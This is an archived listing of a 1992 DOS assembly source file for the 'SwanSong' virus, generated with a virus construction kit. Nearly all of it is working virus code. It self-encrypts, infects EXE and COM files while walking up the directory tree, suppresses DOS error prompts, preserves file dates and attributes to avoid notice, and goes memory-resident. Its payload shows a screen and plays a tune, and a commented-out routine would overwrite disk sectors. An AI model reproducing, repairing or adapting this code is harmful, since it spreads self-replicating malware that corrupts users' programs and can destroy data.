home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SWANSNGB.ASM < prev    next >
Assembly Source File  |  1992-09-20  |  22KB  |  631 lines

  1. ; ZEP1.ASM : [SwanSong] by [pAgE]
  2. ; Created wik the Phalcon/Skism Mass-Produced Code Generator
  3. ; from the configuration file skeleton.cfg
  4.  
  5. .model tiny                             ; Handy directive
  6. .code                                   ; Virus code segment
  7.           org    100h                   ; COM file starting IP
  8.  
  9. id = 'ZP'                               ; ID word for EXE infections
  10. entry_point: db 0e9h,0,0                ; jmp decrypt
  11.  
  12. decrypt:                                ; handles encryption and decryption
  13.           mov  di,(offset heap - offset startencrypt)/2 ; iterations
  14. patch_startencrypt:
  15.           mov  bp,offset startencrypt   ; start of decryption
  16. decrypt_loop:
  17.           db   2eh,81h,46h,0            ; add word ptr cs:[bp], xxxx
  18. decrypt_value dw 0                      ; initialised at zero for null effect
  19.           inc  bp                       ; calculate new decryption location
  20.           inc  bp
  21.           dec  di                       ; If we are not done, then
  22.           jnz  decrypt_loop             ; decrypt mo'
  23. startencrypt:
  24.           call next                     ; calculate delta offset
  25. next:     pop  bp                       ; bp = IP next
  26.           sub  bp,offset next           ; bp = delta offset
  27.  
  28.           cmp  sp,id                    ; COM or EXE?
  29.           je   restoreEXE
  30. restoreCOM:
  31.           lea  si,[bp+save3]
  32.           mov  di,100h
  33.           push di                       ; For later return
  34.           movsb
  35.           jmp  short restoreEXIT
  36. restoreEXE:
  37.           push ds
  38.           push es
  39.           push cs                       ; DS = CS
  40.           pop  ds
  41.           push cs                       ; ES = CS
  42.           pop  es
  43.           lea  si,[bp+jmpsave2]
  44.           lea  di,[bp+jmpsave]
  45.           movsw
  46.           movsw
  47.           movsw
  48. restoreEXIT:
  49.           movsw
  50.  
  51.           mov  byte ptr [bp+numinfec],9 ; reset infection counter
  52.  
  53.           mov  ah,1Ah                   ; Set new DTA
  54.           lea  dx,[bp+newDTA]           ; new DTA @ DS:DX
  55.           int  21h
  56.  
  57.           mov  ah,47h                   ; Get current directory
  58.           mov  dl,0                     ; Current drive
  59.           lea  si,[bp+origdir]          ; DS:SI->buffer
  60.           int  21h
  61.           mov  byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
  62.  
  63.           mov  ax,3524h                 ; Get int 24 handler
  64.           int  21h                      ; to ES:BX
  65.           mov  word ptr [bp+oldint24],bx; Save it
  66.           mov  word ptr [bp+oldint24+2],es
  67.           mov  ah,25h                   ; Set new int 24 handler
  68.           lea  dx,[bp+offset int24]     ; DS:DX->new handler
  69.           int  21h
  70.           push cs                       ; Restore ES
  71.           pop  es                       ; 'cuz it was changed
  72.  
  73. dir_scan:                               ; "dot dot" traversal
  74.           lea  dx,[bp+exe_mask]
  75.           call infect_mask
  76.           lea  dx,[bp+com_mask]
  77.           call infect_mask
  78.           mov  ah,3bh                   ; change directory
  79.           lea  dx,[bp+dot_dot]          ; "cd .."
  80.           int  21h
  81.           jnc  dir_scan                 ; go back for mo!
  82.  
  83. done_infections:
  84.           mov  ah,2ah                   ; Get current date
  85.           int  21h
  86.           cmp  dh,1                     ; Check month
  87.           jb   exit_virus
  88.           cmp  cx,1992                  ; Check year
  89.           jb   exit_virus
  90.           cmp  al,0                     ; Check date of week
  91.           jae  activate
  92.  
  93. exit_virus:
  94.           mov  ax,2524h                 ; Restore int 24 handler
  95.           lds  dx,[bp+offset oldint24]  ; to original
  96.           int  21h
  97.           push cs
  98.           pop  ds
  99.  
  100.           mov  ah,3bh                   ; change directory
  101.           lea  dx,[bp+origdir-1]        ; original directory
  102.           int  21h
  103.  
  104.           mov  ah,1ah                   ; restore DTA to default
  105.           mov  dx,80h                   ; DTA in PSP
  106.           cmp  sp,id-4                  ; EXE or COM?
  107.           jz   returnEXE
  108. returnCOM:
  109.           int  27h                      ; YEAH!  Memory Resident
  110.           NOP                           ; Change it to 21h instead!
  111.           retn
  112. returnEXE:
  113.           pop  es
  114.           pop  ds
  115.           int  21h
  116.           mov  ax,es                    ; AX = PSP segment
  117.           add  ax,10h                   ; Adjust for PSP
  118.           add  word ptr cs:[bp+jmpsave+2],ax
  119.           add  ax,word ptr cs:[bp+stacksave+2]
  120.           cli                           ; Clear intrpts for stack manipulation
  121.           mov  sp,word ptr cs:[bp+stacksave]
  122.           mov  ss,ax
  123.           sti
  124.           db   0eah                     ; jmp ssss:oooo
  125. jmpsave             dd ?                ; Original CS:IP
  126. stacksave           dd ?                ; Original SS:SP
  127. jmpsave2            db ?                ; Actually four bytes
  128. save3               db 0cdh,20h,0       ; First 3 bytes of COM file
  129. stacksave2          dd ?
  130.  
  131. activate        proc    far
  132.  
  133. start:
  134.         jmp    short loc_1
  135.         db    90h
  136. data_2        db    0
  137. data_3        dw    23Fh
  138.         db    2
  139. data_4        dw    0
  140.         db    'TheDraw COM file Screen Save'
  141.         db    1Ah
  142. data_5        db    'Unsupported Video Mode', 0Dh, 0Ah
  143.         db    '$'
  144. loc_1:
  145.                 mov  ah,0Fh
  146.                 int  010h
  147.                 xor  ah,ah
  148.                 int  010h
  149.                 mov  ax,0002h
  150.                 mov  cx,0100h
  151.         mov    ah,0Fh
  152.         int    10h            ; Video display   ah=functn 0Fh
  153.         mov    bx,0B800h
  154.         cmp    al,2
  155.         je    loc_2            ; Jump if equal
  156.         cmp    al,3
  157.         je    loc_2            ; Jump if equal
  158.         mov    data_2,0
  159.         mov    bx,0B000h
  160.         cmp    al,7
  161.         je    loc_2            ; Jump if equal
  162.         mov    dx,offset data_5    ; ('Unsupported Video Mode')
  163.         mov    ah,9
  164.         int    21h            ; DOS Services  ah=function 09h
  165.                         ;  display char string at ds:dx
  166.         retn
  167. loc_2:
  168.         mov    es,bx
  169.         mov    di,data_4
  170.         mov    si,offset data_6
  171.         mov    dx,3DAh
  172.         mov    bl,9
  173.         mov    cx,data_3
  174.         cld                ; Clear direction
  175.         xor    ax,ax            ; Zero register
  176.  
  177. locloop_4:
  178.         lodsb                ; String [si] to al
  179.         cmp    al,1Bh
  180.         jne    loc_5            ; Jump if not equal
  181.         xor    ah,80h
  182.         jmp    short loc_20
  183. loc_5:
  184.         cmp    al,10h
  185.         jae    loc_8            ; Jump if above or =
  186.         and    ah,0F0h
  187.         or    ah,al
  188.         jmp    short loc_20
  189. loc_8:
  190.         cmp    al,18h
  191.         je    loc_11            ; Jump if equal
  192.         jnc    loc_12            ; Jump if carry=0
  193.         sub    al,10h
  194.         add    al,al
  195.         add    al,al
  196.         add    al,al
  197.         add    al,al
  198.         and    ah,8Fh
  199.         or    ah,al
  200.         jmp    short loc_20
  201. loc_11:
  202.         mov    di,data_4
  203.         add    di,data_1e
  204.         mov    data_4,di
  205.         jmp    short loc_20
  206. loc_12:
  207.         mov    bp,cx
  208.         mov    cx,1
  209.         cmp    al,19h
  210.         jne    loc_13            ; Jump if not equal
  211.         lodsb                ; String [si] to al
  212.         mov    cl,al
  213.         mov    al,20h            ; ' '
  214.         dec    bp
  215.         jmp    short loc_14
  216. loc_13:
  217.         cmp    al,1Ah
  218.         jne    loc_15            ; Jump if not equal
  219.         lodsb                ; String [si] to al
  220.         dec    bp
  221.         mov    cl,al
  222.         lodsb                ; String [si] to al
  223.         dec    bp
  224. loc_14:
  225.         inc    cx
  226. loc_15:
  227.         cmp    data_2,0
  228.         je    loc_18            ; Jump if equal
  229.         mov    bh,al
  230.  
  231. locloop_16:
  232.         in    al,dx            ; port 3DAh, CGA/EGA vid status
  233.         rcr    al,1            ; Rotate thru carry
  234.         jc    locloop_16        ; Jump if carry Set
  235. loc_17:
  236.         in    al,dx            ; port 3DAh, CGA/EGA vid status
  237.         and    al,bl
  238.         jnz    loc_17            ; Jump if not zero
  239.         mov    al,bh
  240.         stosw                ; Store ax to es:[di]
  241.         loop    locloop_16        ; Loop if cx > 0
  242.  
  243.         jmp    short loc_19
  244. loc_18:
  245.         rep    stosw            ; Rep when cx >0 Store ax to es:[di]
  246. loc_19:
  247.         mov    cx,bp
  248. loc_20:
  249.         jcxz    loc_ret_21        ; Jump if cx=0
  250.         loop    locloop_4        ; Loop if cx > 0
  251.  
  252.  
  253. loc_ret_21:
  254.  
  255.  
  256.                 mov     si,offset data00        ; SI points to data
  257. get_note:       mov     bx,[si]                 ; Load BX with the frequency
  258.                 or      bx,bx                   ; Is BX equal to zero?
  259.                 je      play_tune_done          ; If it is we are finished
  260.  
  261.                 mov     ax,034DDh               ;
  262.                 mov     dx,0012h                ;
  263.                 cmp     dx,bx                   ;
  264.                 jnb     new_note                ;
  265.                 div     bx                      ; This bit here was stolen
  266.                 mov     bx,ax                   ; from the Turbo C++ v1.0
  267.                 in      al,061h                 ; library file CS.LIB.  I
  268.                 test    al,3                    ; extracted sound() from the
  269.                 jne     skip_an_or              ; library and linked it to
  270.                 or      al,3                    ; an .EXE file, then diassembled
  271.                 out     061h,al                 ; it.  Basically this turns
  272.                 mov     al,0B6h                 ; on the speaker at a certain
  273.                 out     043h,al                 ; frequency.
  274. skip_an_or:     mov     al,bl                   ;
  275.                 out     042h,al                 ;
  276.                 mov     al,bh                   ;
  277.                 out     042h,al                 ;
  278.  
  279.                 mov     bx,[si + 2]             ; BX holds duration value
  280.                 xor     ah,ah                   ; BIOS get time function
  281.                 int     1Ah
  282.                 add     bx,dx                   ; Add the time to the length
  283. wait_loop:      int     1Ah                     ; Get the time again (AH = 0)
  284.                 cmp     dx,bx                   ; Is the delay over?
  285.                 jne     wait_loop               ; Repeat until it is
  286.                 in      al,061h                 ; Stolen from the nosound()
  287.                 and     al,0FCh                 ; procedure in Turbo C++ v1.0.
  288.                 out     061h,al                 ; This turns off the speaker.
  289.  
  290. new_note:       add     si,4                    ; SI points to next note
  291.                 jmp     short get_note          ; Repeat with the next note
  292. play_tune_done:
  293.                ;mov     ax,0002h                ; Which Drive???
  294.                ;mov     cx,0100h                ; How many sectors to NUKE?
  295.                ;cli                             ; Disable interrupts (no Ctrl-C)
  296.                ;cwd                             ; Clear DX (start with sector 0)
  297.                ;int     026h                    ; Ahhhh!  WAD...pfffft!
  298.                ;sti                             ; Res.interrupts what's left
  299.                ;mov     ax,04C00h               ; DOS term.func.
  300.                ;int     021h
  301. activate        endp
  302.  
  303.           jmp  exit_virus
  304.  
  305. creator             db '[MPC]',0        ; Mass Produced Code Generator
  306. virusname           db '[SwanSong]',0
  307. author              db '[pAgE]',0
  308.  
  309. infect_mask:
  310.           mov  ah,4eh                   ; find first file
  311.           mov  cx,7                     ; any attribute
  312. findfirstnext:
  313.           int  21h                      ; DS:DX points to mask
  314.           jc   exit_infect_mask         ; No mo files found
  315.  
  316.           mov  al,0h                    ; Open read only
  317.           call open
  318.  
  319.           mov  ah,3fh                   ; Read file to buffer
  320.           lea  dx,[bp+buffer]           ; @ DS:DX
  321.           mov  cx,1Ah                   ; 1Ah bytes
  322.           int  21h
  323.  
  324.           mov  ah,3eh                   ; Close file
  325.           int  21h
  326.  
  327.           cmp  word ptr [bp+buffer],'ZM'; EXE?
  328.           jz   checkEXE                 ; Why yes, yes it is!
  329. checkCOM:
  330.           mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
  331.           mov  bx,word ptr [bp+buffer+1]; get jmp location
  332.           add  bx,heap-decrypt+3        ; Adjust for virus size
  333.           cmp  ax,bx
  334.           je   find_next                ; already infected
  335.           jmp  infect_com
  336. checkEXE: cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  337.           jnz  infect_exe
  338. find_next:
  339.           mov  ah,4fh                   ; find next file
  340.           jmp  short findfirstnext
  341. exit_infect_mask: ret
  342.  
  343. infect_exe:
  344.           les  ax, dword ptr [bp+buffer+14h] ; Save old entry point
  345.           mov  word ptr [bp+jmpsave2], ax
  346.           mov  word ptr [bp+jmpsave2+2], es
  347.  
  348.           les  ax, dword ptr [bp+buffer+0Eh] ; Save old stack
  349.           mov  word ptr [bp+stacksave2], es
  350.           mov  word ptr [bp+stacksave2+2], ax
  351.  
  352.           mov  ax, word ptr [bp+buffer + 8] ; Get header size
  353.           mov  cl, 4                    ; convert to bytes
  354.           shl  ax, cl
  355.           xchg ax, bx
  356.  
  357.           les  ax, [bp+offset newDTA+26]; Get file size
  358.           mov  dx, es                   ; to DX:AX
  359.           push ax
  360.           push dx
  361.  
  362.           sub  ax, bx                   ; Subtract header size from
  363.           sbb  dx, 0                    ; file size
  364.  
  365.           mov  cx, 10h                  ; Convert to segment:offset
  366.           div  cx                       ; form
  367.  
  368.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  369.           mov  word ptr [bp+buffer+16h], ax
  370.  
  371.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  372.           mov  word ptr [bp+buffer+10h], id
  373.  
  374.           pop  dx                       ; get file length
  375.           pop  ax
  376.  
  377.           add  ax, heap-decrypt         ; add virus size
  378.           adc  dx, 0
  379.  
  380.           mov  cl, 9
  381.           push ax
  382.           shr  ax, cl
  383.           ror  dx, cl
  384.           stc
  385.           adc  dx, ax
  386.           pop  ax
  387.           and  ah, 1                    ; mod 512
  388.  
  389.           mov  word ptr [bp+buffer+4], dx ; new file size
  390.           mov  word ptr [bp+buffer+2], ax
  391.  
  392.           push cs                       ; restore ES
  393.           pop  es
  394.  
  395.           push word ptr [bp+buffer+14h] ; needed later
  396.           mov  cx, 1ah
  397.           jmp  short finishinfection
  398. infect_com:                             ; ax = filesize
  399.           mov  cx,3
  400.           sub  ax,cx
  401.           lea  si,[bp+offset buffer]
  402.           lea  di,[bp+offset save3]
  403.           movsw
  404.           movsb
  405.           mov  byte ptr [si-3],0e9h
  406.           mov  word ptr [si-2],ax
  407.           add  ax,103h
  408.           push ax                       ; needed later
  409. finishinfection:
  410.           push cx                       ; Save # bytes to write
  411.           xor  cx,cx                    ; Clear attributes
  412.           call attributes               ; Set file attributes
  413.  
  414.           mov  al,2
  415.           call open
  416.  
  417.           mov  ah,40h                   ; Write to file
  418.           lea  dx,[bp+buffer]           ; Write from buffer
  419.           pop  cx                       ; cx bytes
  420.           int  21h
  421.  
  422.           mov  ax,4202h                 ; Move file pointer
  423.           xor  cx,cx                    ; to end of file
  424.           cwd                           ; xor dx,dx
  425.           int  21h
  426.  
  427.           mov  ah,2ch                   ; Get current time
  428.           int  21h                      ; dh=sec,dl=1/100 sec
  429.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  430.           lea  di,[bp+code_store]
  431.           mov  ax,5355h                 ; push bp,push bx
  432.           stosw
  433.           lea  si,[bp+decrypt]          ; Copy encryption function
  434.           mov  cx,startencrypt-decrypt  ; Bytes to move
  435.           push si                       ; Save for later use
  436.           push cx
  437.           rep  movsb
  438.  
  439.           xor  byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
  440.  
  441.           lea    si,[bp+write]          ; Copy writing function
  442.           mov    cx,endwrite-write      ; Bytes to move
  443.           rep    movsb
  444.           pop    cx
  445.           pop    si
  446.           pop    dx                     ; Entry point of virus
  447.           push   di
  448.           push   si
  449.           push   cx
  450.           rep    movsb                  ; Copy decryption function
  451.           mov    ax,5b5dh               ; pop bx,pop bp
  452.           stosw
  453.           mov    al,0c3h                ; retn
  454.           stosb
  455.  
  456.           add    dx,offset startencrypt - offset decrypt ; Calculate new
  457.           mov    word ptr [bp+patch_startencrypt+1],dx ; starting offset of
  458.           call   code_store             ; decryption
  459.           pop    cx
  460.           pop    di
  461.           pop    si
  462.           rep    movsb                  ; Restore decryption function
  463.  
  464.           mov  ax,5701h                 ; Restore creation date/time
  465.           mov  cx,word ptr [bp+newDTA+16h] ; time
  466.           mov  dx,word ptr [bp+newDTA+18h] ; date
  467.           int  21h
  468.  
  469.           mov  ah,3eh                   ; Close file
  470.           int  21h
  471.  
  472.           mov ch,0
  473.           mov cl,byte ptr [bp+newDTA+15h] ; Restore original
  474.           call attributes               ; attributes
  475.  
  476.           dec  byte ptr [bp+numinfec]   ; One mo infection
  477.           jnz  mo_infections            ; Not enough
  478.           pop  ax                       ; remove call from stack
  479.           jmp  done_infections
  480. mo_infections: jmp find_next
  481.  
  482. open:
  483.           mov  ah,3dh
  484.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  485.           int  21h
  486.           xchg ax,bx
  487.           ret
  488.  
  489. attributes:
  490.           mov  ax,4301h                 ; Set attributes to cx
  491.           lea  dx,[bp+newDTA+30]        ; filename in DTA
  492.           int  21h
  493.           ret
  494.  
  495. write:
  496.           pop  bx                       ; Restore file handle
  497.           pop  bp                       ; Restore relativeness
  498.           mov  ah,40h                   ; Write to file
  499.           lea  dx,[bp+decrypt]          ; Concatenate virus
  500.           mov  cx,heap-decrypt          ; # bytes to write
  501.           int  21h
  502.           push bx
  503.           push bp
  504. endwrite:
  505.  
  506. int24:                                  ; New int 24h (error) handler
  507.           mov  al,3                     ; Fail call
  508.           iret                          ; Return control
  509. data00    dw      2000,8,2500,8,2000,14,2500,14
  510.          dw      2500,14,3000,4,4000,24,3500,12,4000,6
  511.          dw      3500,12,4000,4,4500,10,5000,4
  512.          dw      5500,15,3000,8,3500,20,3000,8,3500,50
  513.          dw      2000,8,2500,8,2000,14,2500,14
  514.          dw      2500,14,3000,4,4000,24,3500,12,4000,6
  515.          dw      3500,12,4000,4,4500,10,5000,4
  516.          dw      5500,15,3000,8,3500,20,3000,8,3500,50
  517.          dw      2000,8,2500,8,2000,14,2500,14
  518.          dw      2500,14,3000,4,4000,24,3500,12,4000,6
  519.          dw      3500,12,4000,4,4500,10,5000,4
  520.          dw      5500,15,3000,8,3500,20,3000,8,3500,50
  521.          dw      0
  522. data_6        db    2
  523.         db    10h
  524.         db    'I', 27h, 'll never leave you alo'
  525.         db    'ne because, I', 27h, 'm ...'
  526.         db     19h, 1Dh, 18h, 19h, 48h, 18h
  527.         db     19h, 48h, 18h, 19h, 0Eh, 04h
  528.         db    0D6h,0C4h,0D2h,0C4h,0BFh, 20h
  529.         db    0D2h, 20h, 20h,0C2h, 20h,0D2h
  530.         db    0C4h,0C4h,0BFh, 19h, 2Ah, 18h
  531.         db     19h, 10h, 0Bh,0BAh, 19h, 02h
  532.         db    0C7h,0C4h,0C4h,0B4h, 20h,0C7h
  533.         db    0C4h, 19h, 2Ch, 18h, 19h, 10h
  534.         db     09h,0D0h, 19h, 02h,0D0h, 20h
  535.         db     20h,0C1h, 20h,0D0h,0C4h,0C4h
  536.         db    0D9h, 19h, 2Ah, 18h, 19h, 0Eh
  537.         db     04h,0D6h,0C4h,0D2h,0C4h,0BFh
  538.         db     20h,0D6h,0C4h,0C4h,0BFh, 20h
  539.         db    0D2h,0C4h,0C4h,0BFh, 20h,0D2h
  540.         db     20h,0DAh, 19h, 26h, 18h, 19h
  541.         db     0Eh, 0Bh,0BAh, 20h,0BAh, 20h
  542.         db    0B3h, 20h,0C7h,0C4h,0C4h,0B4h
  543.         db     20h,0C7h,0C4h,0C2h,0D9h, 20h
  544.         db    0C7h,0C4h,0C1h,0BFh, 19h, 25h
  545.         db     18h, 19h, 0Eh, 09h,0D0h, 20h
  546.         db    0D0h, 20h,0C1h, 20h,0D0h, 20h
  547.         db     20h,0C1h, 20h,0D0h, 20h,0C1h
  548.         db     20h, 20h,0D0h, 20h, 20h,0C1h
  549.         db     19h, 25h, 18h, 19h, 0Eh, 04h
  550.         db    0D2h, 20h,0D2h, 20h,0C2h, 20h
  551.         db    0D2h, 20h, 20h,0C2h, 20h,0C4h
  552.         db    0D2h,0C4h, 20h,0D6h,0C4h,0D2h
  553.         db    0C4h,0BFh, 20h,0D6h,0C4h,0D2h
  554.         db    0C4h,0BFh, 20h,0C4h,0D2h,0C4h
  555.         db     20h,0D6h,0C4h,0C4h,0BFh, 20h
  556.         db    0D6h,0C4h,0C4h,0BFh, 20h,0D6h
  557.         db    0C4h,0D2h,0C4h,0BFh, 20h,0D6h
  558.         db    0C4h,0C4h,0BFh, 20h,0D6h,0C4h
  559.         db    0C4h,0BFh, 20h, 20h, 18h, 19h
  560.         db     0Eh, 0Bh,0BAh, 20h,0BAh, 20h
  561.         db    0B3h, 20h,0C7h,0C4h,0C4h,0B4h
  562.         db     20h, 20h,0BAh, 19h, 03h,0BAh
  563.         db     19h, 04h,0BAh, 19h, 03h,0BAh
  564.         db     20h, 20h,0BAh, 20h, 20h,0B3h
  565.         db     20h,0BAh, 20h,0C4h,0BFh, 19h
  566.         db     02h,0BAh, 19h, 02h,0BAh, 20h
  567.         db     20h,0B3h, 20h,0BAh
  568.         db     20h, 20h
  569.         dd    182020B3h        ; Data table (indexed access)
  570.         db     19h, 0Eh, 09h,0D3h,0C4h,0D0h
  571.         db    0C4h,0D9h, 20h,0D0h, 20h, 20h
  572.         db    0C1h, 20h,0C4h,0D0h,0C4h, 19h
  573.         db     02h,0D0h, 19h, 04h,0D0h, 19h
  574.         db     02h,0C4h,0D0h,0C4h, 20h,0D0h
  575.         db     20h, 20h,0C1h, 20h,0D3h,0C4h
  576.         db    0C4h,0D9h, 19h, 02h,0D0h, 19h
  577.         db     02h,0D3h,0C4h,0C4h,0D9h, 20h
  578.         db    0D0h, 20h, 20h,0C1h, 20h, 20h
  579.         db     18h, 19h, 0Eh, 0Eh, 1Bh,0D2h
  580.         db     19h, 04h,0C2h, 20h,0C4h,0C4h
  581.         db    0D2h,0C4h,0C4h, 20h,0D2h, 1Ah
  582.         db     04h,0C4h,0BFh, 20h,0D2h, 19h
  583.         db     04h,0C2h, 20h,0D6h, 1Ah, 04h
  584.         db    0C4h,0BFh, 19h, 03h, 04h, 1Bh
  585.         db    0D2h, 20h,0D2h, 20h,0D2h, 20h
  586.         db    0D2h, 20h,0D2h, 20h,0D2h, 20h
  587.         db    0D2h, 20h,0D2h, 20h, 20h, 18h
  588.         db     19h, 0Eh, 0Eh, 1Bh,0BAh, 19h
  589.         db     04h,0B3h, 19h, 02h,0BAh, 19h
  590.         db     02h,0BAh, 19h, 04h,0B3h, 20h
  591.         db    0BAh, 19h, 04h,0B3h, 20h,0BAh
  592.         db     19h, 09h, 0Bh, 1Bh,0BAh, 20h
  593.         db    0BAh, 20h,0BAh, 20h,0BAh, 20h
  594.         db    0BAh, 20h,0BAh, 20h,0BAh, 20h
  595.         db    0BAh, 20h, 20h, 18h, 19h, 0Eh
  596.         db     0Eh, 1Bh,0D3h,0B7h, 19h, 02h
  597.         db    0DAh,0D9h, 19h, 02h,0BAh, 19h
  598.         db     02h,0C7h,0C4h,0C4h,0C4h,0C2h
  599.         db    0C4h,0D9h, 20h,0BAh, 19h, 04h
  600.         db    0B3h, 20h,0D3h, 1Ah, 04h,0C4h
  601.         db    0BFh, 19h, 03h
  602.         db    9, 1Bh, 'o o o o o o o o  '
  603.         db     18h, 19h, 0Fh, 0Eh, 1Bh,0BAh
  604.         db     19h, 02h,0B3h, 19h, 03h,0BAh
  605.         db     19h, 02h,0BAh, 19h, 02h,0B3h
  606.         db     19h, 02h,0BAh, 19h, 04h,0B3h
  607.         db     19h, 06h,0B3h, 19h, 14h, 18h
  608.         db     19h, 0Fh,0D3h,0C4h,0C4h,0C4h
  609.         db    0D9h, 20h, 20h,0C4h,0C4h,0D0h
  610.         db    0C4h,0C4h, 20h,0D0h, 19h, 02h
  611.         db    0C1h,0C4h, 20h, 20h,0D3h, 1Ah
  612.         db     04h,0C4h,0D9h, 20h,0D3h, 1Ah
  613.         db     04h,0C4h,0D9h, 19h, 14h, 18h
  614.  
  615.  
  616. data_1e             equ     0A0h
  617. exe_mask            db '*.exe',0
  618. com_mask            db '*.com',0
  619. dot_dot             db '..',0
  620. heap:                                   ; Variables not in code
  621. ; The following code is the buffer for the write function
  622. code_store:         db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
  623. oldint24            dd ?                ; Storage for old int 24h handler      
  624. backslash           db ?
  625. origdir             db 64 dup (?)       ; Current directory buffer             
  626. newDTA              db 43 dup (?)       ; Temporary DTA                        
  627. numinfec            db ?                ; Infections this run                  
  628. buffer              db 1ah dup (?)      ; read buffer                          
  629. endheap:                                ; End of virus
  630. end       entry_point
  631.